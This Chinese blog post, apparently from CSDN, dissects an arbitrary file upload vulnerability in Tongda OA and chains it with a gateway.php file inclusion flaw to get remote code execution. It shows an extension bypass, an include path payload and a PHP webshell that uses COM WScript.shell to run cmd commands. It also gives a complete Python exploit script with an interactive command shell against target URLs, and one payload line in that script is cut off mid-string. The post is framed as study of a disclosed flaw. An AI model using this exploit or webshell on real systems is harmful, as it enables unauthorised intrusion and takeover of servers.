php forms 上传更新json_通达OA任意文件上传漏洞详细分析

影响

影响范围(但是只有V11版和2017版有包含文件的php,其余版本能上传文件.):

V11版 2017版 2016版 2015版 2013增强版 2013版。

这个漏洞是几个月前的漏洞,主要是学习一下这个漏洞代码的形成原理和调式过程。

该漏洞主要是通过绕过身份验证的情况下上传文件,然后通过文件包含漏洞实现代码执行

代码分析

源码经过zend 5.4加密,解密工具:

SeayDzend,可以自行百度下载

d2cefd732f8154f3d1965c3b078ba5bc.png

在线解密

http://dezend.qiling.org/free.html

任意文件上传的关键文件

webroot\ispirit\im\upload.php

代码分析:

83d73695eee897a544f42ef9ff2b005d.png

可以看到只要判断P参数是否不为空,就开启了session

没有P参数时候

2e4c22b53f40e9d6e823d9d92aa6e812.png

有的时候

839e07dc48891abe4364f91e97457180.png

继续往下走

1192278f328516584adda8c973bd67c3.png

判断DEST_UID是否不为空,否则就会退出

判断DEST_UID=0的时候,如果UPLOAD_MODE不等于2就直接退出了

判断DEST_UID不等于0的时候直接判断$_FILES数量是否有,也就是判断有没有上传文件

这里可以是第二个情况,DEST_UID=0,UPLOAD_MODE=2进行下一步

9158184dc945028b32caacc31b845065.png

也可以是DEST_UID不为0进入下一步

49c41712d8c3835586c51ed1d17aa85b.png

继续往下走

6ef97cfd8e462a1314c52996ad048af0.png

可以这里又if语判断上传的模式,我们来看看上传的模式有哪几种,可以看到总共有1,2,3,其中1,2,3如果成功了是有回显的

60aafb4d21b8e8204f8d9f224c80be30.png

d46aedbb6f9552e63f8e4d9d32884fc9.png

这里设置upload_mode为1,进入upload函数

276c0a4b29a0ddf5dcd0eadab7854532.png

cac52297f92a0be8d7f4906c38536ccb.png

会判断是否/字符,然后判断上传的文件是否符合可上传的格式,我们继续走is_uploadable

29440fcb062e76e02bc7b4d7a32327c8.png

可以看到如果上传的格式是php,会返回false,这里用xxx.php.绕过

回过头来看upload函数,最终会返回一个$ATTACHMENTS的数组,包含了ID,和NAME

0ae9abd75126ba48645a9f780389e3b4.png

继续跟进,发现ATTACHMENTS是由add_attach函数生成的

516fea4f9a760405ad1aceb780c0db6d.png

继续跟进

发现$FILENAME的拼成

0c4c411d48562beb9370e4e2caec8134.png

继续往下走的时候发现$path,和文件名的最终结果

a18d79adeb66c57b03af3cc04781c7d1.png

各种追踪发现就是attch/im/$YM/文件夹下面

54fac2e771eb7c86e7d050e2760d4723.png

其实不用这么复杂,就直接上传文件,然后搜索那个文件最终放在哪不就完事了吗?或者使用火绒剑分析行为和D盾进行文件监控

上传结合前面的分析需要的参数有

125fe63c3c1c99e5f358611dfae28148.png

这里不同的上传模式,回显的格式不一样,这里的2格式舒服点,目录就是2003,文件名对应后面的ID

d2903d47f3a514b88ac684d4657f17c6.png

7f3568e4c754ce32db57fb11e9f274ad.png

由于这里的关键上传了文件后OA系统有个文件包含漏洞,结合文件包含漏洞就可以实现RCE

文件包含代码位置

/ispirit/interface/gateway.php

155b80c4d94d15081ecaeda3999e83d8.png

首先会接受一个json数据,然后转换为数组,然后遍历这个数据,如果key是url,url就对应值

然后继续走

3ba45cb8615b03af2e180a6ffe438a45.png

然后走到strpos,可以看到如果出现general/,ispirit,module/就会触发文件包含构造payload

/general/../../attach/im/2003/1191415788.1.php

由于我上传的时候是phpinfo函数,是禁用了这个函数的和危险函数,这里可以使用写入一个webshell在当前执行的/ispirit/interface/目录下

5deaa1b76e898eebbb9286aa7f6ba1ed.png

记得这里文件名前面要加个\

83b92328a5fa460e530876e678606b0e.png

97b81ac045c007b80e43c86c08b53bdb.png

7e8bca2e4d77c7a08cc540c1b4adb44e.png

当然也可以使用COM组件bypass 危险函数

<?php $command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>

也可以直接使用文件包含配合日志getshell

直接触发nginx的错误日志,利用文件包含直接getshell

利用网上公开的脚本:

#!/usr/bin/env python3# -*- encoding: utf-8 -*-# oa通达文件上传加文件包含远程代码执行import requestsimport reimport sysdef oa(url):    upurl = url + '/ispirit/im/upload.php'    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=---------------------------27723940316706158781839860668"}    data = "-----------------------------27723940316706158781839860668\r\nContent-Disposition: form-data; name=\"ATTACHMENT\"; filename=\"jpg\"\r\nContent-Type: image/jpeg\r\n\r\n<?php \r\n$command=$_POST['cmd'];\r\n$wsh = new COM('WScript.shell');\r\n$exec = $wsh->exec(\"cmd /c \    req = requests.post(url=upurl, headers=headers, data=data)    filename = "".join(re.findall("2003_(.+?)\|",req.text))    in_url = url + '/ispirit/interface/gateway.php'    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "X-Forwarded-For": "127.0.0.1", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}    data = "json={\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % (filename,"echo php00py")    include_req = requests.post(url=in_url, headers=headers, data=data)    if  'php00py' in include_req.text:        print("[+] OA RCE vulnerability ")        return filename    else:        print("[-] Not OA RCE vulnerability ")        return Falsedef oa_rce(url, filename,command):    url = url + '/ispirit/interface/gateway.php'    headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.9 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded"}    data = "json={\"url\":\"../../../general/../attach/im/2003/%s.jpg\"}&cmd=%s" % (filename,command)    req = requests.post(url, headers=headers, data=data)    print(req.text)if __name__ == '__main__':        if len(sys.argv) < 2:            print("please input your url python oa_rce.py http://127.0.0.1:8181")        else:            url = sys.argv[1]            filename = oa(url)            while filename:                try:                    command = input("wran@shelLhost#")                    if command == "exit" or command == "quit":                        break                    else:                        oa_rce(url,filename,command)                except KeyboardInterrupt:                    break

ac5cc08931efa32528c605edd1833518.png

脚本用的是COM绕过

end

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值